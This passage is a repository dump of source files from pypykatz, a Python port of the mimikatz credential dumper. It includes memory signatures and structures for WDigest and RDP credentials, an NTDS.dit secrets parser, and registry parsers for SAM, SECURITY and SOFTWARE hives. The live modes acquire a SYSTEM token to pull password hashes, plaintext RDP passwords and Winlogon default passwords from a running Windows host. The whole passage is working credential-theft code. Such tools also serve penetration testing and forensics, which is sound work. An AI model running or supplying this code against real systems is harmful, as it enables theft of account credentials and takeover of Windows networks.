b'\x74\x15\x8b\x0a\x39\x4e\x10' 75 | template.first_entry_offset = -6 76 | template.primary_offset = 32 77 | template.list_entry = PWdigestListEntry 78 | 79 | else: # sysinfo.buildnumber >= WindowsBuild.WIN_10_1809: 80 | template.signature = b'\x74\x15\x8b\x17\x39\x56\x10' 81 | template.first_entry_offset = -6 82 | template.primary_offset = 32 83 | template.list_entry = PWdigestListEntry 84 | 85 | else: 86 | raise Exception('Unknown architecture! %s' % sysinfo.architecture) 87 | 88 | template.log_template('list_entry', template.list_entry) 89 | return template 90 | 91 | 92 | class PWdigestListEntry(POINTER): 93 | def __init__(self, reader): 94 | super().__init__(reader, WdigestListEntry) 95 | 96 | class PWdigestListEntryNT5(POINTER): 97 | def __init__(self, reader): 98 | super().__init__(reader, WdigestListEntryNT5) 99 | 100 | class WdigestListEntryNT5: 101 | def __init__(self, reader): 102 | self.Flink = PWdigestListEntryNT5(reader) 103 | self.Blink = PWdigestListEntryNT5(reader) 104 | self.this_entry = PWdigestListEntryNT5(reader) 105 | self.usage_count = ULONG(reader) 106 | reader.align() #8? 107 | self.luid = LUID(reader).value 108 | 109 | 110 | class WdigestListEntry: 111 | def __init__(self, reader): 112 | self.Flink = PWdigestListEntry(reader) 113 | self.Blink = PWdigestListEntry(reader) 114 | self.usage_count = ULONG(reader) 115 | reader.align() #8? 116 | self.this_entry = PWdigestListEntry(reader) 117 | self.luid = LUID(reader).value -------------------------------------------------------------------------------- /pypykatz/parsers/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/parsers/__init__.py -------------------------------------------------------------------------------- /pypykatz/parsers/cmdhelper.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | #!/usr/bin/env python3 4 | # 5 | # Author: 6 | # Tamas Jos (@skelsec) 7 | # 8 | 9 | import asyncio 10 | import platform 11 | from tqdm import tqdm 12 | 13 | async def flush_buffer(buffer, outfile_handle = None): 14 | try: 15 | if outfile_handle is not None: 16 | res = '' 17 | for secret in buffer: 18 | try: 19 | res += str(secret) 20 | except: 21 | continue 22 | outfile_handle.write(res) 23 | else: 24 | for secret in buffer: 25 | try: 26 | print(str(secret)) 27 | except: 28 | continue 29 | 30 | buffer = [] 31 | return True, None 32 | except Exception as e: 33 | return None, e 34 | 35 | class ParsersCMDHelper: 36 | def __init__(self): 37 | self.live_keywords = ['parser'] 38 | self.keywords = ['parser'] 39 | 40 | def add_args(self, parser, live_parser): 41 | parser_group = parser.add_parser('parser', help='SMB related commands') 42 | parser_subparsers = parser_group.add_subparsers() 43 | parser_subparsers.required = True 44 | parser_subparsers.dest = 'parser_module' 45 | 46 | ntds_group = parser_subparsers.add_parser('ntds', help='NTDS.dit file parser, extracting secrets') 47 | ntds_group.add_argument('ntdsfile', help="NTDS.dit file") 48 | ntds_group.add_argument('systemhive', help="SYSTEM hive file or the Bootkey(in hex). This is needed to decrypt the secrets") 49 | ntds_group.add_argument('-p', '--progress', action='store_true', help="Show progress bar. Please use this only if you also specified an output file.") 50 | ntds_group.add_argument('-o', '--outfile', help='Output file. If omitted secrets will be printed to STDOUT') 51 | ntds_group.add_argument('--strict', action='store_true', help='Strict parsing. Fails on errors') 52 | ntds_group.add_argument('--no-history', action='store_true', help='Do not parse history') 53 | 54 | 55 | def execute(self, args): 56 | if args.command in self.keywords: 57 | asyncio.run(self.run(args)) 58 | 59 | if len(self.live_keywords) > 0 and args.command == 'live' and args.module in self.live_keywords: 60 | asyncio.run(self.run_live(args)) 61 | 62 | 63 | async def run_live(self, args): 64 | if platform.system().lower() != 'windows': 65 | raise Exception('Live commands only work on Windows!') 66 | 67 | async def run(self, args): 68 | if args.parser_module == 'ntds': 69 | from aesedb.examples.ntdsparse import NTDSParserConsole 70 | ntdscon = NTDSParserConsole( 71 | args.systemhive, 72 | args.ntdsfile, 73 | ignore_errors=args.strict, 74 | with_history=not args.no_history 75 | ) 76 | 77 | buffer = [] 78 | buffer_size = 1000 79 | total = await ntdscon.get_total_rows() 80 | if args.progress is True: 81 | pbar = tqdm(desc='JET table parsing ', total=total, unit='records', miniters= total//200 ,position=0) 82 | pbar_sec = tqdm(desc='User secrets found', unit = '', miniters=buffer_size//10 ,position=1) 83 | 84 | outfile_handle = None 85 | if args.outfile is not None: 86 | outfile_handle = open(args.outfile, 'w', newline = '') 87 | 88 | async for secret, err in ntdscon.get_secrets(): 89 | if err is not None: 90 | raise err 91 | 92 | if args.progress is True: 93 | pbar.update() 94 | 95 | if secret is None: 96 | continue 97 | 98 | if args.progress is True: 99 | pbar_sec.update() 100 | 101 | 102 | buffer.append(secret) 103 | if len(buffer) > buffer_size: 104 | _, err = await flush_buffer(buffer, outfile_handle) 105 | buffer = [] 106 | if err is not None: 107 | raise err 108 | 109 | 110 | _, err = await flush_buffer(buffer, outfile_handle) 111 | buffer = [] 112 | if err is not None: 113 | raise err 114 | 115 | 116 | #parser = NTDSParserConsole(args.systemhive, args.ntdsfile, show_progress = args.progress, outfile = args.outfile) 117 | #await parser.run() 118 | 119 | -------------------------------------------------------------------------------- /pypykatz/plugins/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/plugins/__init__.py -------------------------------------------------------------------------------- /pypykatz/plugins/pypykatz_rekall.py: -------------------------------------------------------------------------------- 1 | #from builtins import str 2 | __author__ = ("Tamas Jos ") 3 | 4 | from pypykatz.pypykatz import pypykatz 5 | from pypykatz.commons.readers.rekall.rekallreader import RekallReader 6 | from pypykatz.commons.common import * 7 | import json 8 | import ntpath 9 | import os 10 | 11 | from rekall.plugins.windows import common 12 | 13 | 14 | class Pypykatz(common.WindowsCommandPlugin): 15 | """Extract and decrypt passwords from the LSA Security Service.""" 16 | """ 17 | IMPORTANT: Using the default viewer on rekall will NOT show you all the info!!! 18 | Recommendation: Use the out_file and kerberos_dir flags to get all the juicy stuff 19 | """ 20 | 21 | __name = "pypykatz" 22 | 23 | __args = [ 24 | dict(name="override_timestamp", type="int", required=False, 25 | help="The msv dll file timestamp detection fails in some cases."), 26 | 27 | dict(name="out_file", required=False, 28 | help="The file name to write."), 29 | 30 | dict(name="kerberos_dir", required=False, 31 | help="The file name to write."), 32 | 33 | dict(name="json", required=False, type="bool", 34 | help="Write credentials to file in JSON format"), 35 | 36 | ] 37 | 38 | table_header = [ 39 | dict(name='LUID', width=6), 40 | dict(name='Type', width=8), 41 | dict(name='Sess', width=2), 42 | dict(name='SID', width=20), 43 | dict(name='Module', width=7), 44 | dict(name='Info', width=7), 45 | dict(name='Domain', width=16), 46 | dict(name='User', width=16), 47 | dict(name='SType', width=9), 48 | dict(name='Secret', width=80) 49 | ] 50 | 51 | def __init__(self, *args, **kwargs): 52 | super(Pypykatz, self).__init__(*args, **kwargs) 53 | 54 | def collect(self): 55 | cc = self.session.plugins.cc() 56 | mimi = pypykatz.go_rekall(self.session, self.plugin_args.override_timestamp) 57 | 58 | if self.plugin_args.out_file and self.plugin_args.json: 59 | self.session.logging.info('Dumping results to file in JSON format') 60 | with open(self.plugin_args.out_file, 'w') as f: 61 | json.dump(mimi, f, cls = UniversalEncoder, indent=4, sort_keys=True) 62 | 63 | 64 | elif self.plugin_args.out_file: 65 | self.session.logging.info('Dumping results to file') 66 | with open(self.plugin_args.out_file, 'w') as f: 67 | f.write('FILE: ======== MEMORY =======\n') 68 | 69 | for luid in mimi.logon_sessions: 70 | f.write('\n'+str(mimi.logon_sessions[luid])) 71 | 72 | if len(mimi.orphaned_creds) > 0: 73 | f.write('\n== Orphaned credentials ==\n') 74 | for cred in mimi.orphaned_creds: 75 | f.write(str(cred)) 76 | 77 | else: 78 | self.session.logging.info('Dumping results') 79 | for luid in mimi.logon_sessions: 80 | for row in mimi.logon_sessions[luid].to_row(): 81 | yield row 82 | 83 | 84 | if self.plugin_args.kerberos_dir: 85 | directory = os.path.abspath(self.plugin_args.kerberos_dir) 86 | self.session.logging.info('Writing kerberos tickets to %s' % directory) 87 | base_filename = ntpath.basename('rekall_memory') 88 | ccache_filename = '%s_%s.ccache' % (base_filename, os.urandom(4).hex()) #to avoid collisions 89 | mimi.kerberos_ccache.to_file(os.path.join(directory, ccache_filename)) 90 | for luid in mimi.logon_sessions: 91 | for kcred in mimi.logon_sessions[luid].kerberos_creds: 92 | for ticket in kcred.tickets: 93 | ticket.to_kirbi(directory) 94 | 95 | for cred in mimi.orphaned_creds: 96 | if cred.credtype == 'kerberos': 97 | for ticket in cred.tickets: 98 | ticket.to_kirbi(directory) 99 | return -------------------------------------------------------------------------------- /pypykatz/rdp/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/rdp/__init__.py -------------------------------------------------------------------------------- /pypykatz/rdp/cmdhelper.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | 7 | from pypykatz.rdp.parser import RDPCredParser 8 | 9 | 10 | 11 | class RDPCMDHelper: 12 | def __init__(self): 13 | self.live_keywords = ['rdp'] 14 | self.keywords = ['rdp'] 15 | 16 | def add_args(self, parser, live_parser): 17 | # live 18 | live_group = live_parser.add_parser('rdp', help='a') 19 | live_rdp_subparsers = live_group.add_subparsers() 20 | live_rdp_subparsers.required = True 21 | live_rdp_subparsers.dest = 'live_rdp_module' 22 | 23 | live_logonpasswords_group = live_rdp_subparsers.add_parser('logonpasswords', help='Parse RDP credentials (SERVER side)') 24 | live_logonpasswords_group.add_argument('--pid', type=int, help = 'Search a specific process PID for RDP creds') 25 | live_logonpasswords_group.add_argument('--all', action='store_true', help = 'Looks for all processes which use the rdp DLL rdpcorets.dll') 26 | 27 | live_mstsc_group = live_rdp_subparsers.add_parser('mstsc', help='Parse RDP credentials (CLIENT side)') 28 | live_mstsc_group.add_argument('--pid', type=int, help = 'Search a specific process PID for RDP creds') 29 | live_mstsc_group.add_argument('--all', action='store_true', help = 'Looks for all processes which use the rdp DLL mstscax.dll') 30 | 31 | # offline 32 | group = parser.add_parser('rdp', help='Parse RDP credentials from minidump file') 33 | rdp_subparsers = group.add_subparsers() 34 | rdp_subparsers.required = True 35 | rdp_subparsers.dest = 'rdp_module' 36 | 37 | logonpasswords_group = rdp_subparsers.add_parser('logonpasswords', help='Parse RDP credentials (SERVER side) from minidump file. Plain-text passwords only for WINVER <= Win2012') 38 | logonpasswords_group.add_argument('cmd', choices=['minidump']) 39 | logonpasswords_group.add_argument('memoryfile', help='path to the dump file') 40 | 41 | mstsc_group = rdp_subparsers.add_parser('mstsc', help='Parse RDP credentials (CLIENT side) from minidump file. Unable to recover plain-text passwords offline.') 42 | mstsc_group.add_argument('cmd', choices=['minidump']) 43 | mstsc_group.add_argument('memoryfile', help='path to the dump file') 44 | 45 | def execute(self, args): 46 | if len(self.keywords) > 0 and args.command in self.keywords: 47 | self.run(args) 48 | 49 | if len(self.live_keywords) > 0 and args.command == 'live' and args.module in self.live_keywords: 50 | self.run_live(args) 51 | 52 | def run_live(self, args): 53 | credparsers = RDPCredParser.go_live(pid = args.pid, all_rdp = args.all, live_rdp_module = args.live_rdp_module) 54 | for credparser in credparsers: 55 | for cred in credparser.credentials: 56 | print(str(cred)) 57 | 58 | def run(self, args): 59 | credparsers = RDPCredParser.parse_minidump_file(args.memoryfile, args.rdp_module) 60 | for credparser in credparsers: 61 | for cred in credparser.credentials: 62 | print(str(cred)) -------------------------------------------------------------------------------- /pypykatz/rdp/packages/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/rdp/packages/__init__.py -------------------------------------------------------------------------------- /pypykatz/rdp/packages/creds/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/rdp/packages/creds/__init__.py -------------------------------------------------------------------------------- /pypykatz/rdp/packages/creds/templates.py: -------------------------------------------------------------------------------- 1 | 2 | from pypykatz.commons.common import KatzSystemArchitecture, WindowsBuild, WindowsMinBuild 3 | from pypykatz.commons.win_datatypes import POINTER, ULONG, \ 4 | KIWI_GENERIC_PRIMARY_CREDENTIAL, PVOID, DWORD, LUID, \ 5 | LSA_UNICODE_STRING, WORD 6 | from minidump.win_datatypes import PCWSTR 7 | from pypykatz.commons.common import hexdump 8 | 9 | class RDPCredsTemplate: 10 | def __init__(self): 11 | self.signatures = None 12 | self.signature = None 13 | 14 | self.cred_struct = None 15 | self.property_struct = None 16 | self.properties_struct = None 17 | 18 | @staticmethod 19 | def get_logonpasswords_template(sysinfo): 20 | template = RDPCredsTemplate() 21 | 22 | if sysinfo.buildnumber >= WindowsBuild.WIN_8.value: 23 | template.signatures = [b'\x00\x00\x00\x00\xbb\x47', b'\x00\x00\x00\x00\xf3\x47', b'\x00\x00\x00\x00\x3b\x01'] 24 | template.offset = 0 25 | template.cred_struct = WTS_KIWI 26 | 27 | else: 28 | template.signatures = [b'\xc8\x00\x00\x00\xc8\x00\x00\x00'] 29 | template.offset = 16 30 | template.cred_struct = WTS_KIWI_2008R2 31 | 32 | return template 33 | 34 | @staticmethod 35 | def get_mstsc_template(): 36 | template = RDPCredsTemplate() 37 | 38 | template.signature = b'\xcd\xab\xca\xdb\x03' 39 | template.property_struct = TS_PROPERTY_KIWI 40 | template.properties_struct = TS_PROPERTIES_KIWI 41 | 42 | return template 43 | 44 | # See mimikatz/modules/kuhl_m_ts.h 45 | class PTS_PROPERTY_KIWI(POINTER): 46 | def __init__(self, reader): 47 | super().__init__(reader, TS_PROPERTY_KIWI) 48 | 49 | class TS_PROPERTY_KIWI: 50 | def __init__(self, reader): 51 | reader.align() 52 | self.szProperty = PCWSTR(reader).value 53 | self.dwType = DWORD(reader).value 54 | reader.align() 55 | self.pvData = PVOID(reader).value 56 | self.unkp0 = PVOID(reader).value 57 | self.unkd0 = DWORD(reader).value 58 | self.dwFlags = DWORD(reader).value 59 | self.unkd1 = DWORD(reader).value 60 | self.unkd2 = DWORD(reader).value 61 | self.pValidator = PVOID(reader).value 62 | self.unkp2 = PVOID(reader).value 63 | self.unkp3 = PVOID(reader).value 64 | 65 | class TS_PROPERTIES_KIWI: 66 | def __init__(self, reader): 67 | #self.unkp0 = PVOID(reader).value 68 | #self.unkp1 = PVOID(reader).value 69 | self.unkh0 = DWORD(reader).value # 0xdbcaabcd 70 | self.unkd0 = DWORD(reader).value # 3 71 | self.unkp2 = PVOID(reader).value 72 | self.unkd1 = DWORD(reader).value # 45 73 | reader.align() 74 | self.unkp3 = PVOID(reader).value 75 | reader.align() 76 | self.pProperties_addr = reader.tell() 77 | self.pProperties = PVOID(reader)#PTS_PROPERTY_KIWI(reader) 78 | self.cbProperties = DWORD(reader).value 79 | 80 | class WTS_KIWI: 81 | def __init__(self, reader): 82 | self.unk0 = DWORD(reader) 83 | self.unk1 = DWORD(reader) 84 | self.cbDomain = WORD(reader).value 85 | self.cbUsername = WORD(reader).value 86 | self.cbPassword = WORD(reader).value 87 | self.unk2 = DWORD(reader) 88 | self.Domain = reader.read(512) 89 | self.UserName = reader.read(512) 90 | self.Password_addr = reader.tell() 91 | self.Password = reader.read(512) 92 | 93 | class WTS_KIWI_2008R2: 94 | def __init__(self, reader): 95 | self.unk0 = DWORD(reader) 96 | self.unk1 = DWORD(reader) 97 | self.cbDomain = WORD(reader).value + 511 #making it compatible with the other version. this is probably a bool? 98 | self.cbUsername = WORD(reader).value + 511 99 | self.cbPassword = WORD(reader).value + 511 100 | self.unk2 = DWORD(reader) 101 | self.Domain = reader.read(512) 102 | self.UserName = reader.read(512) 103 | self.Password_addr = reader.tell() 104 | self.Password = reader.read(512) -------------------------------------------------------------------------------- /pypykatz/registry/__init__.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | logger = logging.getLogger('pypykatz') -------------------------------------------------------------------------------- /pypykatz/registry/aoffline_parser.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | 7 | import json 8 | from aiowinreg.ahive import AIOWinRegHive 9 | 10 | from pypykatz.registry import logger 11 | from pypykatz.commons.common import UniversalEncoder 12 | from pypykatz.registry.sam.asam import * 13 | from pypykatz.registry.security.asecurity import * 14 | from pypykatz.registry.system.asystem import * 15 | from pypykatz.registry.software.asoftware import * 16 | 17 | 18 | class OffineRegistry: 19 | """ 20 | This class represents an offline registry 21 | You will need to set at least the SYSTEM hive (to get bootkey) 22 | In case you have the SAM and/or SECURITY hives, it will parse them for the stored credentials/secrets as well. 23 | """ 24 | def __init__(self): 25 | self.sam_hive = None 26 | self.security_hive = None 27 | self.system_hive = None 28 | self.software_hive = None 29 | 30 | self.system = None 31 | self.sam = None 32 | self.security = None 33 | self.software = None 34 | 35 | async def get_secrets(self): 36 | self.system = SYSTEM(self.system_hive) 37 | bootkey = await self.system.get_bootkey() 38 | 39 | if self.sam_hive: 40 | self.sam = SAM(self.sam_hive, bootkey) 41 | await self.sam.get_secrets() 42 | 43 | if self.security_hive: 44 | self.security = SECURITY(self.security_hive, bootkey, self.system) 45 | await self.security.get_secrets() 46 | 47 | if self.software_hive: 48 | self.software = SOFTWARE(self.software_hive, bootkey) 49 | await self.software.get_default_logon() 50 | 51 | def to_file(self, file_path, json_format = False): 52 | with open(file_path, 'a', newline = '') as f: 53 | if json_format == False: 54 | f.write(str(self)) 55 | else: 56 | f.write(self.to_json()) 57 | 58 | def to_json(self): 59 | return json.dumps(self.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True) 60 | 61 | def to_dict(self): 62 | t = {} 63 | t['SYSTEM'] = self.system.to_dict() 64 | if self.sam: 65 | t['SAM'] = self.sam.to_dict() 66 | if self.security: 67 | t['SECURITY'] = self.security.to_dict() 68 | if self.software: 69 | t['SOFTWARE'] = self.software.to_dict() 70 | return t 71 | 72 | 73 | def __str__(self): 74 | t = str(self.system) 75 | if self.sam: 76 | t += str(self.sam) 77 | if self.security: 78 | t += str(self.security) 79 | if self.software: 80 | t += str(self.software) 81 | return t 82 | 83 | @staticmethod 84 | async def from_async_reader(system_reader, sam_reader = None, security_reader = None, software_reader = None): 85 | po = OffineRegistry() 86 | po.system_hive = AIOWinRegHive(system_reader) 87 | await po.system_hive.setup() 88 | 89 | if sam_reader is not None: 90 | po.sam_hive = AIOWinRegHive(sam_reader) 91 | await po.sam_hive.setup() 92 | 93 | if security_reader is not None: 94 | po.security_hive = AIOWinRegHive(security_reader) 95 | await po.security_hive.setup() 96 | 97 | if software_reader is not None: 98 | po.software_hive = AIOWinRegHive(software_reader) 99 | await po.software_hive.setup() 100 | 101 | await po.get_secrets() 102 | 103 | return po 104 | 105 | 106 | 107 | if __name__ == '__main__': 108 | po = OffineRegistry.from_live_system() 109 | print(str(po)) -------------------------------------------------------------------------------- /pypykatz/registry/cmdhelper.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | 7 | import json 8 | import traceback 9 | 10 | from pypykatz import logger 11 | from pypykatz.commons.common import UniversalEncoder 12 | 13 | 14 | 15 | class RegistryCMDHelper: 16 | def __init__(self): 17 | self.live_keywords = ['registry'] 18 | self.keywords = ['registry'] 19 | 20 | def add_args(self, parser, live_parser): 21 | live_group = live_parser.add_parser('registry', help='Get all secrets from registry') 22 | live_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') 23 | live_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') 24 | 25 | group = parser.add_parser('registry', help='Get secrets from registry files') 26 | group.add_argument('system', help='path to the SYSTEM registry hive') 27 | group.add_argument('--sam', help='path to the SAM registry hive') 28 | group.add_argument('--security', help='path to the SECURITY registry hive') 29 | group.add_argument('--software', help='path to the SOFTWARE registry hive') 30 | group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') 31 | group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') 32 | 33 | def execute(self, args): 34 | if len(self.keywords) > 0 and args.command in self.keywords: 35 | self.run(args) 36 | 37 | if len(self.live_keywords) > 0 and args.command == 'live' and args.module in self.live_keywords: 38 | self.run_live(args) 39 | 40 | def process_results(self, results, args): 41 | if args.outfile: 42 | results.to_file(args.outfile, args.json) 43 | else: 44 | if args.json: 45 | print(json.dumps(results.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True)) 46 | else: 47 | print(str(results)) 48 | 49 | def run_live(self, args): 50 | from pypykatz.registry.live_parser import LiveRegistry 51 | lr = None 52 | try: 53 | lr = LiveRegistry.go_live() 54 | except Exception as e: 55 | traceback.print_exc() 56 | logger.debug('Failed to obtain registry secrets via direct registry reading method. Reason: %s' % str(e)) 57 | try: 58 | from pypykatz.registry.offline_parser import OffineRegistry 59 | lr = OffineRegistry.from_live_system() 60 | except Exception as e: 61 | logger.debug('Failed to obtain registry secrets via filedump method') 62 | 63 | if lr is not None: 64 | self.process_results(lr, args) 65 | else: 66 | print('Registry parsing failed!') 67 | 68 | def run(self, args): 69 | from pypykatz.registry.offline_parser import OffineRegistry 70 | po = OffineRegistry.from_files(args.system, args.sam, args.security, args.software) 71 | 72 | self.process_results(po, args) 73 | -------------------------------------------------------------------------------- /pypykatz/registry/live_parser.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | import platform 7 | if platform.system() != 'Windows': 8 | raise Exception('This will ONLY work on Windows systems!') 9 | 10 | import json 11 | 12 | from pypykatz.commons.readers.registry.live.reader import LiveRegistryHive 13 | from pypykatz.registry import logger 14 | from pypykatz.registry.sam.sam import * 15 | from pypykatz.registry.security.security import * 16 | from pypykatz.registry.system.system import * 17 | from pypykatz.registry.software.software import * 18 | 19 | from pypykatz.commons.winapi.processmanipulator import ProcessManipulator 20 | from pypykatz.commons.common import UniversalEncoder 21 | 22 | 23 | class LiveRegistry: 24 | """ 25 | This class represents the Registry hives that are currently on the live system. 26 | Use this in case you have at least Administrative privileges on a comp where pypykatz is running 27 | """ 28 | def __init__(self): 29 | self.sam_hive = None 30 | self.security_hive = None 31 | self.system_hive = None 32 | self.software_hive = None 33 | 34 | self.system = None 35 | self.sam = None 36 | self.security = None 37 | self.software = None 38 | 39 | def get_secrets(self): 40 | """ 41 | For obtaining all secrets from the registry on-the-fly, SYSTEM user MUST be used! 42 | In case this is not achievable, Administrator can be used to first dump the registry hives to disk, then parse them offline 43 | There is a 3rd way: As administrator you can obtain SE_TAKE_OWNERSHIP privileges, then you can open any hive with the WRITE_OWNER permission. 44 | After doing that you'd need to change the SID of each target hive to include the administrator user with full access. 45 | This is so intrusive I'm not implementing that, if you mess that up your computer will turn to potato. Like literally... (also it's a lot of work) 46 | """ 47 | pm = ProcessManipulator() 48 | try: 49 | #getting a SYSTEM token... 50 | pm.assign_token_thread_sid() 51 | except Exception as e: 52 | logger.error('Failed to obtain SYSTEM prvis. On-the-fly parsing is not possible.') 53 | raise e 54 | else: 55 | self.system = SYSTEM(self.system_hive) 56 | bootkey = self.system.get_bootkey() 57 | 58 | if self.sam_hive: 59 | self.sam = SAM(self.sam_hive, bootkey) 60 | self.sam.get_secrets() 61 | 62 | if self.security_hive: 63 | self.security = SECURITY(self.security_hive, bootkey) 64 | self.security.get_secrets() 65 | 66 | if self.software_hive: 67 | try: 68 | self.software = SOFTWARE(self.software_hive, bootkey) 69 | self.software.get_default_logon() 70 | except Exception as e: 71 | logger.warning('Failed to parse SOFTWARE hive. Reason: %s' % str(e)) 72 | self.cleanup() 73 | 74 | def cleanup(self): 75 | for hive in [self.system_hive, self.security_hive, self.sam_hive]: 76 | try: 77 | hive.close() 78 | except: 79 | pass 80 | 81 | def to_file(self, file_path, json_format = False): 82 | with open(file_path, 'a', newline = '') as f: 83 | if json_format == False: 84 | f.write(str(self)) 85 | else: 86 | f.write(self.to_json()) 87 | 88 | def to_json(self): 89 | return json.dumps(self.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True) 90 | 91 | def to_dict(self): 92 | t = {} 93 | t['SYSTEM'] = self.system.to_dict() 94 | if self.sam: 95 | t['SAM'] = self.sam.to_dict() 96 | if self.security: 97 | t['SECURITY'] = self.security.to_dict() 98 | if self.software: 99 | t['SOFTWARE'] = self.software.to_dict() 100 | return t 101 | 102 | def __str__(self): 103 | t = str(self.system) 104 | if self.sam: 105 | t += str(self.sam) 106 | if self.security: 107 | t += str(self.security) 108 | return t 109 | 110 | @staticmethod 111 | def go_live(): 112 | lr = LiveRegistry() 113 | lr.sam_hive = LiveRegistryHive('SAM') 114 | lr.system_hive = LiveRegistryHive('SYSTEM') 115 | lr.security_hive = LiveRegistryHive('SECURITY') 116 | lr.software_hive = LiveRegistryHive('SOFTWARE') 117 | 118 | lr.get_secrets() 119 | return lr 120 | -------------------------------------------------------------------------------- /pypykatz/registry/sam/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/registry/sam/__init__.py -------------------------------------------------------------------------------- /pypykatz/registry/sam/common.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | import json 7 | 8 | class SAMSecret: 9 | def __init__(self, username, rid, nt_hash, lm_hash): 10 | self.username = username 11 | self.rid = rid 12 | self.nt_hash = nt_hash 13 | self.lm_hash = lm_hash 14 | 15 | def to_dict(self): 16 | return { 17 | 'username' : self.username, 18 | 'rid' : self.rid, 19 | 'nt_hash' : self.nt_hash, 20 | 'lm_hash' : self.lm_hash, 21 | } 22 | 23 | def to_json(self): 24 | return json.dumps(self.to_dict()) 25 | 26 | def to_lopth(self): 27 | return '%s:%s:%s:%s:::' % (self.username, self.rid, self.lm_hash.hex(), self.nt_hash.hex()) -------------------------------------------------------------------------------- /pypykatz/registry/security/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/registry/security/__init__.py -------------------------------------------------------------------------------- /pypykatz/registry/software/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/registry/software/__init__.py -------------------------------------------------------------------------------- /pypykatz/registry/software/asoftware.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | 7 | ##### 8 | from pypykatz.registry import logger 9 | 10 | 11 | class SOFTWARE: 12 | def __init__(self, sam_hive, bootkey): 13 | self.hive = sam_hive 14 | self.bootkey = bootkey 15 | self.default_logon_user = None 16 | self.default_logon_domain = None 17 | self.default_logon_password = None 18 | 19 | async def get_default_logon(self): 20 | if self.default_logon_user is None: 21 | try: 22 | data = await self.hive.get_value(r'Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultUserName') 23 | data = data[1] 24 | except: 25 | pass 26 | else: 27 | if isinstance(data, bytes): 28 | self.default_logon_user = data.decode('utf-16-le').split('\x00')[0] 29 | else: 30 | self.default_logon_user = data 31 | 32 | if self.default_logon_domain is None: 33 | try: 34 | data = await self.hive.get_value(r'Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultDomainName') 35 | data = data[1] 36 | except: 37 | pass 38 | else: 39 | if isinstance(data, bytes): 40 | self.default_logon_domain = data.decode('utf-16-le') 41 | else: 42 | self.default_logon_domain = data 43 | 44 | if self.default_logon_password is None: 45 | try: 46 | data = await self.hive.get_value(r'Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultPassword') 47 | data = data[1] 48 | except: 49 | pass 50 | else: 51 | if isinstance(data, bytes): 52 | self.default_logon_password = data.decode('utf-16-le') 53 | else: 54 | self.default_logon_password = data 55 | 56 | return self.default_logon_user 57 | 58 | def to_dict(self): 59 | t = {} 60 | t['default_logon_user'] = self.default_logon_user 61 | t['default_logon_domain'] = self.default_logon_domain 62 | t['default_logon_password'] = self.default_logon_password 63 | return t 64 | 65 | def __str__(self): 66 | t = '============== SOFTWARE hive secrets ==============\r\n' 67 | t += 'default_logon_user: %s\r\n' % self.default_logon_user 68 | return t 69 | -------------------------------------------------------------------------------- /pypykatz/registry/software/software.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | 7 | ##### 8 | from pypykatz.registry import logger 9 | 10 | 11 | class SOFTWARE: 12 | def __init__(self, sam_hive, bootkey): 13 | self.hive = sam_hive 14 | self.bootkey = bootkey 15 | self.default_logon_user = None 16 | self.default_logon_domain = None 17 | self.default_logon_password = None 18 | 19 | def get_default_logon(self): 20 | if self.default_logon_user is None: 21 | try: 22 | data = self.hive.get_value(r'Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultUserName')[1] 23 | except: 24 | pass 25 | else: 26 | if isinstance(data, bytes): 27 | self.default_logon_user = data.decode('utf-16-le').split('\x00')[0] 28 | else: 29 | self.default_logon_user = data 30 | 31 | if self.default_logon_domain is None: 32 | try: 33 | data = self.hive.get_value(r'Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultDomainName')[1] 34 | except: 35 | pass 36 | else: 37 | if isinstance(data, bytes): 38 | self.default_logon_domain = data.decode('utf-16-le') 39 | else: 40 | 